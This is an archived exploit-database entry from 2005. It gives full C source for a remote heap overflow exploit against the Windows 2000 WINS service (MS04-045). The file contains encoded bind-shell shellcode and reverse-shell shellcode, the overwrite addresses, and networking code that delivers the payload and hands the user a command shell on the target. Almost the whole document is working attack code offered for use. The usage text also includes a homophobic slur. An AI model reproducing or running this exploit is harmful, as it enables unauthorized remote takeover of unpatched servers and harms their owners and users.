Microsoft Windows - 'WINS' Remote Buffer Overflow (MS04-045) (3)

EDB-ID:

909


Author:

class101

Type:

remote


Platform:

Windows

Date:

2005-04-12


/*
                       Windows Internet Name Service (WINS)
                           Remote Heap Buffer Overflow
                       ------------------------------------
                       ------------------------------------

Advisory credits:
----------------

		Nicolas Waisman of Immunity Inc. (www.immunitysec.com)

Advisory link:
----------------

		immunitysec.com/downloads/instantanea.pdf

Fix:
----------------

		support.microsoft.com/kb/870763 (MS04-045)

Exploit method:
----------------

		PEB (RtlEnterCriticalSection)

Tested Working:
----------------

		Win2k SP4          Server ENGLISH (should be all langages, not sure)
		Win2k SP4 Advanced Server ENGLISH (should be all langages, not sure)
		                     (KB870763 removed!)

Note:
----------------

		A HAT-SQUAD view on this hole; exploitable and remaining critic for Windows 2000.
		May need update for Windows 2003 due to the different
		structure of wins.exe in it but the bug remain exploitable
		with no KB870763 of course....
		If you look closely at my code , you will notice two overwrites,
		this is the difference between Server <=> Advanced Server, with an
		el8 pad, repair, you catch them both.

Greetings:
----------------

		All guys at hat-squad and metasploit
		also #n3ws at EFnet, useful to keep an eye on security.. (50 rsslinks)
		and thanx you leku.

Update:
----------------

		v0.2: runtime error fixed
		v0.3: hardcoded repair, much decent and stable
		v0.3: FreeBSD compilation fixed: gcc 101_WINS.cpp -o 101_WINS



                              -=[®class101.org]=-

*/

#include <stdio.h>
#include <string.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif

char scode1[]=
"\x33\xC9\x83\xE9"
"\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB"
"\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95"
"\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1"
"\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B"
"\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E"
"\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76"
"\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A"
"\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64"
"\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58"
"\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C"
"\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95"
"\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F"
"\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B"
"\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02"
"\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D"
"\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07"
"\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99"
"\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18"
"\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B"
"\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95"
"\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02"
"\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A";


char scode2[]=
/*original vlad902's reverse shellcode from metasploit.com
  NOT xored, modded by class101 for ca's xpl0it to remove the common badchar "\x20"
  original bytes + modded = 291 + 3 = 294 bytes reverse shellcode v1.31*/
"\xFC\x6A\xEB\x52" /*modded adjusting jump*/
"\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05"
"\x78\x01\xEF"
"\x83\xC7\x01" /*modded, adding 1 to edi*/
"\x8B\x4F\x17" /*modded, adjusting ecx*/
"\x8B\x5F\x1F" /*modded, adjusting ebx, "\x20" out, yeahouu ;>*/
"\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0"
"\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3"
"\x8B\x5F\x23" /*modded, adjusting ebx*/
"\x01\xEB\x66\x8B\x0C\x4B"
"\x8B\x5F\x1B" /*modded, adjusting ebx*/
"\x01\xEB\x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40"
"\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E"
"\xEC\x50\xFF\xD6\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32"
"\x5F\x54\xFF\xD0\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66"
"\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF"
"\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0\x68\x00\x00\x00\x00"
"\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF"
"\xD6\x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50"
"\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD"
"\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3"
"\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51"
"\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37"
"\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF"
"\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";

char bug[]=
"\x00\x00\x07\xD0\x00\x00\xFF\x00\x05\x39\x1F\xBC\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90";

char payload[256],payload2[4096];
int tot;

char pad[]="\x00\x00\x00\x00",padB[]="\xEB\x07";
char ret1[]="\xFC\x20\x39\x05";
char ret1b[]="\x20\xF0\xFD\x7F";
char repair[]="\xC7\x05\x20\xF0\xFD\x7F\x60\x20\xF8\x77";
char sip[3],spo[1];

#ifdef WIN32
	WSADATA wsadata;
#endif

void ver();
void usage(char* us);
void sl(int time);

int main(int argc,char *argv[])
{
	ver();
	int check1, check2;
	unsigned long gip;
	unsigned short gport;
	char *what, *where, *os;
	if (argc>6||argc<3||atoi(argv[1])>1||atoi(argv[1])<1){usage(argv[0]);return -1;}
	if (argc==5||strlen(argv[2])<7){usage(argv[0]);return -1;}
	if (argc==6){if (strlen(argv[4])<7){usage(argv[0]);return -1;}}
#ifndef WIN32
	if (argc==6)
	{
 		gip=inet_addr(argv[4])^(long)0x00000000;
		gport=htons(atoi(argv[5]))^(short)0x0000;
		memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
		check1=strlen(&sip[0]);check2=strlen(&spo[0]);
		if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
			printf("[+] error, the IP has a null byte in hex...\n");return -1;}
		if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
	}
#define Sleep		sleep
#define SOCKET		int
#define closesocket(s) close(s)
#else
	if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;}
	if (argc==6)
	{
		gip=inet_addr(argv[4])^(ULONG)0x00000000;
		gport=htons(atoi(argv[5]))^(USHORT)0x0000;
		memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
		check1=strlen(&sip[0]);check2=strlen(&spo[0]);
		if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
			printf("[+] error, the IP has a null byte in hex...\n");return -1;}
		if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
	}
#endif
	int ip=htonl(inet_addr(argv[2])), port;
	if (argc==4||argc==6){port=atoi(argv[3]);} else port=42;
	SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
	s=socket(AF_INET,SOCK_STREAM,0);
	if (s==-1){printf("[+] socket() error\n");return -1;}
	if (atoi(argv[1]) == 1){what=ret1;where=ret1b;os="Win2k SP4          Server ENGLISH\n[+]                       Win2k SP4 Advanced Server ENGLISH\n";}
	printf("[+]               TARGET: %s\n",os);sl(1);
	server.sin_family=AF_INET;
	server.sin_addr.s_addr=htonl(ip);
	server.sin_port=htons(port);
	connect(s,( struct sockaddr *)&server,sizeof(server));
	timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
	switch(select(s+1,NULL,&mask,NULL,&timeout))
	{
		case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
		case 0: {printf("[+] connection failed\n");closesocket(s);return -1;}
		default:
		if(FD_ISSET(s,&mask))
		{
			printf("[+] connected\n");sl(1);
			printf("[+] building the payload..\n");sl(1);
			memset(payload,0x90,196);memcpy(payload+132,what,4);memcpy(payload+136,where,4);
			memcpy(&bug[84], what, 4);memcpy(&bug[88], where, 4);
			memset(payload2,0x90,2100);
			memcpy(payload2+252,padB,2);memcpy(payload2+52,padB,2);
			memcpy(payload2+263,repair,10);memcpy(payload2+63,repair,10);
			if (argc==6)
			{
				memcpy(&scode2[167], &gip, 4);
				memcpy(&scode2[173], &gport, 2);
				memcpy(payload2+350,scode2,strlen(scode2));
			}
			else memcpy(payload2+350,scode1,strlen(scode1));
			printf("[+] sh0uting the heap!\n");sl(1);
			if (send(s,bug,sizeof(bug)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");return -1;}
			if (send(s,pad,sizeof(pad)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");return -1;}
			if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");return -1;}
			if (send(s,pad,sizeof(pad)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");return -1;}
			if (send(s,payload2,strlen(payload2),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");return -1;}
			sl(3);
			tot=sizeof(bug)-1+(sizeof(pad)*2)-2+strlen(payload)+strlen(payload2);
			printf("[+]\n[+] payload size: %d\n",tot);sl(1);
			if (argc==6){printf("[+] payload sent, look at your listener, you should get a shell\n");}
			else printf("[+] payload sent, use telnet %s:101 to get a shell\n",inet_ntoa(server.sin_addr));
			return 0;
		}
	}
	closesocket(s);
#ifdef WIN32
	WSACleanup();
#endif
	return 0;
}


void usage(char* us)
{
	printf("                                                                                \n");
	printf("      [+]  . 101_WINS.exe Target VulnIP (bind mode)                             \n");
	printf("      [+]  . 101_WINS.exe Target VulnIP VulnPORT (bind mode)                    \n");
	printf("      [+]  . 101_WINS.exe Target VulnIP VulnPORT GayIP GayPORT (reverse mode)   \n");
	printf("TARGETS:                                                                        \n");
	printf("      [+] 1. Win2k SP4          Server English (*) - v5.0.2195                  \n");
	printf("      [+] 1. Win2k SP4 Advanced Server English (*) - v5.0.2195                  \n");
	printf("NOTE:                                                                           \n");
	printf("      The exploit bind a cmdshell port 101 or                                   \n");
	printf("      reverse a cmdshell on your listener.                                      \n");
	printf("      A wildcard (*) mean tested working, else, supposed working.               \n");
	printf("      A symbol   (-) mean all.                                                  \n");
	printf("      Compilation msvc6, cygwin, Linux.                                         \n");
	printf("                                                                                \n");
	return;
}

void ver()
{
	printf("                                                                     \n");
	printf("        ===================================================[v0.3]====\n");
	printf("        ============Windows Internet Name Service (WINS)=============\n");
	printf("        ============Remote Heap Buffer Overflow Exploit==============\n");
	printf("        ======coded by class101=============[Hat-Squad.com 2005]=====\n");
	printf("        =============================================================\n");
	printf("                                                                     \n");
}

void sl(int time)
{
#ifdef WIN32
			Sleep(time*1000);
#else
			Sleep(time);
#endif
}

// milw0rm.com [2005-04-12]